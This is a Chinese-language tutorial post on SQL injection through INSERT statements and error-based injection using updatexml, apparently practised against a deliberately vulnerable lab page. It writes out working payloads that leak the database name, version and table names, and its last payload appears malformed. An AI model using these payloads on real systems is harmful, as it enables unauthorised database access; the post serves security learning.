SQL注入 (中级篇)Insert注入

insert注入:

其实对于初学SQL注入,并不需要区分注入类型。

但是要理解insert注入,首先需要理解SQL的insert语句

举个例子 :在Student表插入bob的信息

Student表:

|-----------------------------------|

|     name  |  age  |   grade  |

|-----------------------------------|

|     andy   |  14    |    98      |

|-----------------------------------|

sql语句为   INSERT INTO Student VALUES ('bob', '15', '99')

当然也可在指定的列中插入数据

例如  INSERT INTO Student(name,age) VALUES ('bob', '15')

OK,以上内容即是insert 语句的用法。现在我们来分析insert 注入

测试链接  http://45.32.81.200:8080/vul/sqli/sqli_iu/sqli_login.php

在注册时,后台的逻辑应该是这样的

-------------------------------------------------------------------------------------

SQL注入 (中级篇)Insert注入

--------------------------------------------------------------------------------------

代码好长,其实这段代码主要的语句为

insert into member(username,pw,sex,phonenum,email,address) values('{$getdata['username']}',md5('{$getdata['password']}'),'{$getdata['sex']}','{$getdata['phonenum']}','{$getdata['email']}','{$getdata['add']}')";

哈哈,后面的截图没截完

大概就是 insert into member(username,pw,sex,phonenum,email,address) values('必填字段','必填字段','xx','xx','xx','xx','xx',)

于是可以构造payload 在username  填入   bob' or updatexml(1,concat(0x7e,database()),0) or '

 

 

 

 

 

基于函数报错的注入

常用的报错函数

updatexml()                             MYSQL对xml文档数据进行查询和修改的XPATH函数

updatexml(xml_document,XPathstring,new_value)     表名,路径(路径错误会报错),替换的值

extractvalue()                          MYSQL对xml文档数据进行查询XPATH函数

floor()                                       MYSQL中用来取整的函数

limit 0,1, 从你的表中的第0个数据开始,只读取一个

kobe' and updatexml(1,version(),0)#

因为路径不对,所以会报错

----------------------------------------------------------------

SQL注入 (中级篇)Insert注入

-----------------------------------------------------------------

但是看到的version()版本不够完整

于是大佬说用concat函数,把被丢掉的信息完全显示出来

于是构造payload    kobe' and updatexml(1,concat(0x7e,version()),0)#

其中0X7e表示的是 ~ 这个符号 ,concat函数用于将两个字段拼接

现在数据库完整的版本显示出来了

------------------------------------------------------------------------

SQL注入 (中级篇)Insert注入

-----------------------------------------------------------------------

好了明白了以上内容,就差不多了解了基于报错的注入原理

下面是一些扩展

构造payload          kobe' and updatexml(1,concat(0x7e,database()),0)#

kobe ' and updatexml(1,concat(0x7e,select table_name from information_schema.tables where table_schema='pikachu')),0) #